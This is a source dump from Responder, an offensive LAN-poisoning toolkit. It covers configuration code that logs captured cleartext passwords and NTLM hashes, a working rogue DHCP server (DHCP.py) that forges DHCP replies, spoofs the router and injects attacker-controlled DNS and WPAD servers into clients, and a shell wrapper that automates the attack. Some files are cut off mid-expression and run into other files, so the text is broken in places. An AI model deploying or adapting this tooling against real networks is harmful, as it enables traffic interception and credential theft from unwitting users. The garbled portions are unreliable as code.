| #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | 18 | import utils 19 | import ConfigParser 20 | 21 | from utils import * 22 | 23 | __version__ = 'Responder 2.3' 24 | 25 | class Settings: 26 | 27 | def __init__(self): 28 | self.ResponderPATH = os.path.dirname(__file__) 29 | self.Bind_To = '0.0.0.0' 30 | 31 | def __str__(self): 32 | ret = 'Settings class:\n' 33 | for attr in dir(self): 34 | value = str(getattr(self, attr)).strip() 35 | ret += " Settings.%s = %s\n" % (attr, value) 36 | return ret 37 | 38 | def toBool(self, str): 39 | return str.upper() == 'ON' 40 | 41 | def ExpandIPRanges(self): 42 | def expand_ranges(lst): 43 | ret = [] 44 | for l in lst: 45 | tab = l.split('.') 46 | x = {} 47 | i = 0 48 | for byte in tab: 49 | if '-' not in byte: 50 | x[i] = x[i+1] = int(byte) 51 | else: 52 | b = byte.split('-') 53 | x[i] = int(b[0]) 54 | x[i+1] = int(b[1]) 55 | i += 2 56 | for a in range(x[0], x[1]+1): 57 | for b in range(x[2], x[3]+1): 58 | for c in range(x[4], x[5]+1): 59 | for d in range(x[6], x[7]+1): 60 | ret.append('%d.%d.%d.%d' % (a, b, c, d)) 61 | return ret 62 | 63 | self.RespondTo = expand_ranges(self.RespondTo) 64 | self.DontRespondTo = expand_ranges(self.DontRespondTo) 65 | 66 | def populate(self, options): 67 | 68 | if options.Interface is None and utils.IsOsX() is False: 69 | print utils.color("Error: -I mandatory option is missing", 1) 70 | sys.exit(-1) 71 | 72 | # Config parsing 73 | config = ConfigParser.ConfigParser() 74 | config.read(os.path.join(self.ResponderPATH, 'Responder.conf')) 75 | 76 | # Servers 77 | self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP')) 78 | self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS')) 79 | self.SMB_On_Off = self.toBool(config.get('Responder Core', 'SMB')) 80 | self.SQL_On_Off = self.toBool(config.get('Responder Core', 'SQL')) 81 | self.FTP_On_Off = self.toBool(config.get('Responder Core', 'FTP')) 82 | self.POP_On_Off = self.toBool(config.get('Responder Core', 'POP')) 83 | self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP')) 84 | self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) 85 | self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) 86 | self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) 87 | self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) 88 | 89 | # Db File 90 | self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database')) 91 | 92 | # Log Files 93 | self.LogDir = os.path.join(self.ResponderPATH, 'logs') 94 | 95 | if not os.path.exists(self.LogDir): 96 | os.mkdir(self.LogDir) 97 | 98 | self.SessionLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'SessionLog')) 99 | self.PoisonersLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'PoisonersLog')) 100 | self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog')) 101 | 102 | self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt') 103 | self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt') 104 | self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') 105 | self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt') 106 | self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt') 107 | self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') 108 | self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') 109 | self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') 110 | 111 | self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') 112 | self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') 113 | self.HTTPNTLMv2Log = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt') 114 | self.KerberosLog = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt') 115 | self.MSSQLNTLMv1Log = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt') 116 | self.MSSQLNTLMv2Log = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt') 117 | self.SMBNTLMv1Log = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt') 118 | self.SMBNTLMv2Log = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt') 119 | self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt') 120 | self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt') 121 | 122 | # HTTP Options 123 | self.Serve_Exe = self.toBool(config.get('HTTP Server', 'Serve-Exe')) 124 | self.Serve_Always = self.toBool(config.get('HTTP Server', 'Serve-Always')) 125 | self.Serve_Html = self.toBool(config.get('HTTP Server', 'Serve-Html')) 126 | self.Html_Filename = config.get('HTTP Server', 'HtmlFilename') 127 | self.Exe_Filename = config.get('HTTP Server', 'ExeFilename') 128 | self.Exe_DlName = config.get('HTTP Server', 'ExeDownloadName') 129 | self.WPAD_Script = config.get('HTTP Server', 'WPADScript') 130 | self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') 131 | 132 | if not os.path.exists(self.Html_Filename): 133 | print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) 134 | 135 | if not os.path.exists(self.Exe_Filename): 136 | print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) 137 | 138 | # SSL Options 139 | self.SSLKey = config.get('HTTPS Server', 'SSLKey') 140 | self.SSLCert = config.get('HTTPS Server', 'SSLCert') 141 | 142 | # Respond to hosts 143 | self.RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) 144 | self.RespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondToName').strip().split(',')]) 145 | self.DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) 146 | self.DontRespondToName = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]) 147 | 148 | # Auto Ignore List 149 | self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess')) 150 | self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials')) 151 | self.AutoIgnoreList = [] 152 | 153 | # CLI options 154 | self.LM_On_Off = options.LM_On_Off 155 | self.WPAD_On_Off = options.WPAD_On_Off 156 | self.Wredirect = options.Wredirect 157 | self.NBTNSDomain = options.NBTNSDomain 158 | self.Basic = options.Basic 159 | self.Finger_On_Off = options.Finger 160 | self.Interface = options.Interface 161 | self.OURIP = options.OURIP 162 | self.Force_WPAD_Auth = options.Force_WPAD_Auth 163 | self.Upstream_Proxy = options.Upstream_Proxy 164 | self.AnalyzeMode = options.Analyze 165 | self.Verbose = options.Verbose 166 | self.CommandLine = str(sys.argv) 167 | 168 | if self.HtmlToInject is None: 169 | self.HtmlToInject = '' 170 | 171 | self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) 172 | 173 | self.IP_aton = socket.inet_aton(self.Bind_To) 174 | self.Os_version = sys.platform 175 | 176 | # Set up Challenge 177 | self.NumChal = config.get('Responder Core', 'Challenge') 178 | 179 | if len(self.NumChal) is not 16: 180 | print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) 181 | sys.exit(-1) 182 | 183 | self.Challenge = "" 184 | for i in range(0, len(self.NumChal),2): 185 | self.Challenge += self.NumChal[i:i+2].decode("hex") 186 | 187 | # Set up logging 188 | logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p') 189 | logging.warning('Responder Started: %s' % self.CommandLine) 190 | logging.warning('Responder Config: %s' % str(self)) 191 | 192 | Formatter = logging.Formatter('%(asctime)s - %(message)s') 193 | PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w') 194 | ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a') 195 | PLog_Handler.setLevel(logging.INFO) 196 | ALog_Handler.setLevel(logging.INFO) 197 | PLog_Handler.setFormatter(Formatter) 198 | ALog_Handler.setFormatter(Formatter) 199 | 200 | self.PoisonersLogger = logging.getLogger('Poisoners Log') 201 | self.PoisonersLogger.addHandler(PLog_Handler) 202 | 203 | self.AnalyzeLogger = logging.getLogger('Analyze Log') 204 | self.AnalyzeLogger.addHandler(ALog_Handler) 205 | 206 | def init(): 207 | global Config 208 | Config = Settings() 209 | -------------------------------------------------------------------------------- /tools/BrowserListener.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import sys 18 | import os 19 | import thread 20 | 21 | BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) 22 | sys.path.insert(0, BASEDIR) 23 | 24 | from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger 25 | from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler 26 | from threading import Lock 27 | from utils import * 28 | 29 | def ParseRoles(data): 30 | if len(data) != 4: 31 | return '' 32 | 33 | AllRoles = { 34 | 'Workstation': (ord(data[0]) >> 0) & 1, 35 | 'Server': (ord(data[0]) >> 1) & 1, 36 | 'SQL': (ord(data[0]) >> 2) & 1, 37 | 'Domain Controller': (ord(data[0]) >> 3) & 1, 38 | 'Backup Controller': (ord(data[0]) >> 4) & 1, 39 | 'Time Source': (ord(data[0]) >> 5) & 1, 40 | 'Apple': (ord(data[0]) >> 6) & 1, 41 | 'Novell': (ord(data[0]) >> 7) & 1, 42 | 'Member': (ord(data[1]) >> 0) & 1, 43 | 'Print': (ord(data[1]) >> 1) & 1, 44 | 'Dialin': (ord(data[1]) >> 2) & 1, 45 | 'Xenix': (ord(data[1]) >> 3) & 1, 46 | 'NT Workstation': (ord(data[1]) >> 4) & 1, 47 | 'WfW': (ord(data[1]) >> 5) & 1, 48 | 'Unused': (ord(data[1]) >> 6) & 1, 49 | 'NT Server': (ord(data[1]) >> 7) & 1, 50 | 'Potential Browser': (ord(data[2]) >> 0) & 1, 51 | 'Backup Browser': (ord(data[2]) >> 1) & 1, 52 | 'Master Browser': (ord(data[2]) >> 2) & 1, 53 | 'Domain Master Browser': (ord(data[2]) >> 3) & 1, 54 | 'OSF': (ord(data[2]) >> 4) & 1, 55 | 'VMS': (ord(data[2]) >> 5) & 1, 56 | 'Windows 95+': (ord(data[2]) >> 6) & 1, 57 | 'DFS': (ord(data[2]) >> 7) & 1, 58 | 'Local': (ord(data[3]) >> 6) & 1, 59 | 'Domain Enum': (ord(data[3]) >> 7) & 1, 60 | } 61 | 62 | return ', '.join(k for k,v in AllRoles.items() if v == 1) 63 | 64 | 65 | class BrowserListener(BaseRequestHandler): 66 | def handle(self): 67 | data, socket = self.request 68 | 69 | lock = Lock() 70 | lock.acquire() 71 | 72 | DataOffset = struct.unpack('. 17 | import sys 18 | import struct 19 | import optparse 20 | import ConfigParser 21 | import os 22 | 23 | BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) 24 | sys.path.insert(0, BASEDIR) 25 | from odict import OrderedDict 26 | from packets import Packet 27 | from utils import * 28 | 29 | parser = optparse.OptionParser(usage='python %prog -I eth0 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],) 30 | parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") 31 | parser.add_option('-d', '--dnsname', action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME") 32 | parser.add_option('-r', '--router', action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP") 33 | parser.add_option('-p', '--primary', action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP") 34 | parser.add_option('-s', '--secondary', action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2") 35 | parser.add_option('-n', '--netmask', action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask") 36 | parser.add_option('-w', '--wpadserver', action="store", help="Your WPAD server string", metavar="\"http://wpadsrv/wpad.dat\"", default="", dest="WPAD") 37 | parser.add_option('-S', action="store_true", help="Spoof the router ip address",dest="Spoof") 38 | parser.add_option('-R', action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Respond_To_Requests") 39 | options, args = parser.parse_args() 40 | 41 | def color(txt, code = 1, modifier = 0): 42 | return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) 43 | 44 | if options.Interface is None: 45 | print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface." 46 | exit(-1) 47 | elif options.RouterIP is None: 48 | print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP." 49 | exit(-1) 50 | elif options.DNSIP is None: 51 | print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours." 52 | exit(-1) 53 | elif options.DNSIP2 is None: 54 | print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours." 55 | exit(-1) 56 | 57 | 58 | print '#############################################################################' 59 | print '## DHCP INFORM TAKEOVER 0.2 ##' 60 | print '## ##' 61 | print '## By default, this script will only inject a new DNS/WPAD ##' 62 | print '## server to a Windows <= XP/2003 machine. ##' 63 | print '## ##' 64 | print '## To inject a DNS server/domain/route on a Windows >= Vista and ##' 65 | print '## any linux box, use -R (can be noisy) ##' 66 | print '## ##' 67 | print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##' 68 | print '#############################################################################' 69 | print '' 70 | print color('[*]', 2, 1), 'Listening for events...' 71 | 72 | config = ConfigParser.ConfigParser() 73 | config.read(os.path.join(BASEDIR,'Responder.conf')) 74 | RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')]) 75 | DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]) 76 | Interface = options.Interface 77 | Responder_IP = FindLocalIP(Interface) 78 | ROUTERIP = options.RouterIP 79 | NETMASK = options.Netmask 80 | DHCPSERVER = Responder_IP 81 | DNSIP = options.DNSIP 82 | DNSIP2 = options.DNSIP2 83 | DNSNAME = options.DNSNAME 84 | WPADSRV = options.WPAD.strip() + "\\n" 85 | Spoof = options.Spoof 86 | Respond_To_Requests = options.Respond_To_Requests 87 | 88 | if Spoof: 89 | DHCPSERVER = ROUTERIP 90 | 91 | ##### IP Header ##### 92 | class IPHead(Packet): 93 | fields = OrderedDict([ 94 | ("Version", "\x45"), 95 | ("DiffServices", "\x00"), 96 | ("TotalLen", "\x00\x00"), 97 | ("Ident", "\x00\x00"), 98 | ("Flags", "\x00\x00"), 99 | ("TTL", "\x40"), 100 | ("Protocol", "\x11"), 101 | ("Checksum", "\x00\x00"), 102 | ("SrcIP", ""), 103 | ("DstIP", ""), 104 | ]) 105 | 106 | class UDP(Packet): 107 | fields = OrderedDict([ 108 | ("SrcPort", "\x00\x43"), 109 | ("DstPort", "\x00\x44"), 110 | ("Len", "\x00\x00"), 111 | ("Checksum", "\x00\x00"), 112 | ("Data", "\x00\x00"), 113 | ]) 114 | 115 | def calculate(self): 116 | self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8) 117 | 118 | class DHCPACK(Packet): 119 | fields = OrderedDict([ 120 | ("MessType", "\x02"), 121 | ("HdwType", "\x01"), 122 | ("HdwLen", "\x06"), 123 | ("Hops", "\x00"), 124 | ("Tid", "\x11\x22\x33\x44"), 125 | ("ElapsedSec", "\x00\x00"), 126 | ("BootpFlags", "\x00\x00"), 127 | ("ActualClientIP", "\x00\x00\x00\x00"), 128 | ("GiveClientIP", "\x00\x00\x00\x00"), 129 | ("NextServerIP", "\x00\x00\x00\x00"), 130 | ("RelayAgentIP", "\x00\x00\x00\x00"), 131 | ("ClientMac", "\xff\xff\xff\xff\xff\xff"), 132 | ("ClientMacPadding", "\x00" *10), 133 | ("ServerHostname", "\x00" * 64), 134 | ("BootFileName", "\x00" * 128), 135 | ("MagicCookie", "\x63\x82\x53\x63"), 136 | ("DHCPCode", "\x35"), #DHCP Message 137 | ("DHCPCodeLen", "\x01"), 138 | ("DHCPOpCode", "\x05"), #Msgtype(ACK) 139 | ("Op54", "\x36"), 140 | ("Op54Len", "\x04"), 141 | ("Op54Str", ""), #DHCP Server 142 | ("Op51", "\x33"), 143 | ("Op51Len", "\x04"), 144 | ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day 145 | ("Op1", "\x01"), 146 | ("Op1Len", "\x04"), 147 | ("Op1Str", ""), #Netmask 148 | ("Op15", "\x0f"), 149 | ("Op15Len", "\x0e"), 150 | ("Op15Str", ""), #DNS Name 151 | ("Op3", "\x03"), 152 | ("Op3Len", "\x04"), 153 | ("Op3Str", ""), #Router 154 | ("Op6", "\x06"), 155 | ("Op6Len", "\x08"), 156 | ("Op6Str", ""), #DNS Servers 157 | ("Op252", "\xfc"), 158 | ("Op252Len", "\x04"), 159 | ("Op252Str", ""), #Wpad Server 160 | ("Op255", "\xff"), 161 | ("Padding", "\x00"), 162 | ]) 163 | 164 | def calculate(self): 165 | self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) 166 | self.fields["Op1Str"] = socket.inet_aton(NETMASK) 167 | self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) 168 | self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) 169 | self.fields["Op15Str"] = DNSNAME 170 | self.fields["Op252Str"] = WPADSRV 171 | self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) 172 | self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) 173 | 174 | class DHCPInformACK(Packet): 175 | fields = OrderedDict([ 176 | ("MessType", "\x02"), 177 | ("HdwType", "\x01"), 178 | ("HdwLen", "\x06"), 179 | ("Hops", "\x00"), 180 | ("Tid", "\x11\x22\x33\x44"), 181 | ("ElapsedSec", "\x00\x00"), 182 | ("BootpFlags", "\x00\x00"), 183 | ("ActualClientIP", "\x00\x00\x00\x00"), 184 | ("GiveClientIP", "\x00\x00\x00\x00"), 185 | ("NextServerIP", "\x00\x00\x00\x00"), 186 | ("RelayAgentIP", "\x00\x00\x00\x00"), 187 | ("ClientMac", "\xff\xff\xff\xff\xff\xff"), 188 | ("ClientMacPadding", "\x00" *10), 189 | ("ServerHostname", "\x00" * 64), 190 | ("BootFileName", "\x00" * 128), 191 | ("MagicCookie", "\x63\x82\x53\x63"), 192 | ("Op53", "\x35\x01\x05"), #Msgtype(ACK) 193 | ("Op54", "\x36"), 194 | ("Op54Len", "\x04"), 195 | ("Op54Str", ""), #DHCP Server 196 | ("Op1", "\x01"), 197 | ("Op1Len", "\x04"), 198 | ("Op1Str", ""), #Netmask 199 | ("Op15", "\x0f"), 200 | ("Op15Len", "\x0e"), 201 | ("Op15Str", ""), #DNS Name 202 | ("Op3", "\x03"), 203 | ("Op3Len", "\x04"), 204 | ("Op3Str", ""), #Router 205 | ("Op6", "\x06"), 206 | ("Op6Len", "\x08"), 207 | ("Op6Str", ""), #DNS Servers 208 | ("Op252", "\xfc"), 209 | ("Op252Len", "\x04"), 210 | ("Op252Str", ""), #Wpad Server. 211 | ("Op255", "\xff"), 212 | ]) 213 | 214 | def calculate(self): 215 | self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER) 216 | self.fields["Op1Str"] = socket.inet_aton(NETMASK) 217 | self.fields["Op3Str"] = socket.inet_aton(ROUTERIP) 218 | self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2) 219 | self.fields["Op15Str"] = DNSNAME 220 | self.fields["Op252Str"] = WPADSRV 221 | self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"]))) 222 | self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"]))) 223 | 224 | def SpoofIP(Spoof): 225 | return ROUTERIP if Spoof else Responder_IP 226 | 227 | def RespondToThisIP(ClientIp): 228 | if ClientIp.startswith('127.0.0.'): 229 | return False 230 | elif RespondTo and ClientIp not in RespondTo: 231 | return False 232 | elif ClientIp in RespondTo or RespondTo == []: 233 | if ClientIp not in DontRespondTo: 234 | return True 235 | return False 236 | 237 | def ParseSrcDSTAddr(data): 238 | SrcIP = socket.inet_ntoa(data[0][26:30]) 239 | DstIP = socket.inet_ntoa(data[0][30:34]) 240 | SrcPort = struct.unpack('>H',data[0][34:36])[0] 241 | DstPort = struct.unpack('>H',data[0][36:38])[0] 242 | return SrcIP, SrcPort, DstIP, DstPort 243 | 244 | def FindIP(data): 245 | IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) 246 | return ''.join(IP[0:4]) 247 | 248 | def ParseDHCPCode(data): 249 | PTid = data[4:8] 250 | Seconds = data[8:10] 251 | CurrentIP = socket.inet_ntoa(data[12:16]) 252 | RequestedIP = socket.inet_ntoa(data[16:20]) 253 | MacAddr = data[28:34] 254 | MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper() 255 | OpCode = data[242:243] 256 | RequestIP = data[245:249] 257 | 258 | # DHCP Inform 259 | if OpCode == "\x08": 260 | IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP)) 261 | Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), 262 | GiveClientIP=socket.inet_aton("0.0.0.0"), 263 | NextServerIP=socket.inet_aton("0.0.0.0"), 264 | RelayAgentIP=socket.inet_aton("0.0.0.0"), 265 | ElapsedSec=Seconds) 266 | Packet.calculate() 267 | Buffer = UDP(Data = Packet) 268 | Buffer.calculate() 269 | SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) 270 | return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) 271 | elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request 272 | IP = FindIP(data) 273 | if IP: 274 | IPConv = socket.inet_ntoa(IP) 275 | if RespondToThisIP(IPConv): 276 | IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) 277 | Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds) 278 | Packet.calculate() 279 | Buffer = UDP(Data = Packet) 280 | Buffer.calculate() 281 | SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) 282 | return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) 283 | elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover 284 | IP = FindIP(data) 285 | if IP: 286 | IPConv = socket.inet_ntoa(IP) 287 | if RespondToThisIP(IPConv): 288 | IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) 289 | Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds) 290 | Packet.calculate() 291 | Buffer = UDP(Data = Packet) 292 | Buffer.calculate() 293 | SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) 294 | return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) 295 | 296 | def SendDHCP(packet,Host): 297 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) 298 | s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) 299 | s.sendto(packet, Host) 300 | 301 | if __name__ == "__main__": 302 | s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) 303 | s.bind((Interface, 0x0800)) 304 | 305 | while True: 306 | try: 307 | data = s.recvfrom(65535) 308 | if data[0][23:24] == "\x11": # is udp? 309 | SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) 310 | 311 | if SrcPort == 67 or DstPort == 67: 312 | ret = ParseDHCPCode(data[0][42:]) 313 | if ret: 314 | print text("[DHCP] %s" % ret) 315 | 316 | except KeyboardInterrupt: 317 | sys.exit("\r%s Exiting..." % color('[*]', 2, 1)) 318 | 319 | -------------------------------------------------------------------------------- /tools/DHCP_Auto.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | 18 | # This script will try to auto-detect network parameters 19 | # to run the rogue DHCP server, to inject only your IP 20 | # address as the primary DNS server and WPAD server and 21 | # leave everything else normal. 22 | 23 | if [ -z $1 ]; then 24 | echo "usage: $0 " 25 | exit 26 | fi 27 | 28 | if [ $EUID -ne 0 ]; then 29 | echo "Must be run as root." 30 | exit 31 | fi 32 | 33 | if [ ! -d "/sys/class/net/$1" ]; then 34 | echo "Interface does not exist." 35 | exit 36 | fi 37 | 38 | INTF=$1 39 | PATH="$PATH:/sbin" 40 | IPADDR=`ifconfig $INTF | sed -n 's/inet addr/inet/; s/inet[ :]//p' | awk '{print $1}'` 41 | NETMASK=`ifconfig $INTF | sed -n 's/.*[Mm]ask[: ]//p' | awk '{print $1}'` 42 | DOMAIN=`grep -E "^domain |^search " /etc/resolv.conf | sort | head -1 | awk '{print $2}'` 43 | DNS1=$IPADDR 44 | DNS2=`grep ^nameserver /etc/resolv.conf | head -1 | awk '{print $2}'` 45 | ROUTER=`route -n | grep ^0.0.0.0 | awk '{print $2}'` 46 | WPADSTR="http://$IPADDR/wpad.dat" 47 | if [ -z "$DOMAIN" ]; then 48 | DOMAIN=" " 49 | fi 50 | 51 | echo "Running with parameters:" 52 | echo "INTERFACE: $INTF" 53 | echo "IP ADDR: $IPADDR" 54 | echo "NETMAST: $NETMASK" 55 | echo "ROUTER IP: $ROUTER" 56 | echo "DNS1 IP: $DNS1" 57 | echo "DNS2 IP: $DNS2" 58 | echo "WPAD: $WPADSTR" 59 | echo "" 60 | 61 | 62 | echo python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\" 63 | python DHCP.py -I $INTF -r $ROUTER -p $DNS1 -s $DNS2 -n $NETMASK -d \"$DOMAIN\" -w \"$WPADSTR\" 64 | -------------------------------------------------------------------------------- /tools/FindSMB2UPTime.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import sys 18 | import os 19 | import datetime 20 | import struct 21 | import socket 22 | 23 | sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))) 24 | from packets import SMB2Header, SMB2Nego, SMB2NegoData 25 | 26 | def GetBootTime(data): 27 | Filetime = int(struct.unpack('i", len(Packet)) + Packet 52 | s.send(Buffer) 53 | 54 | try: 55 | data = s.recv(1024) 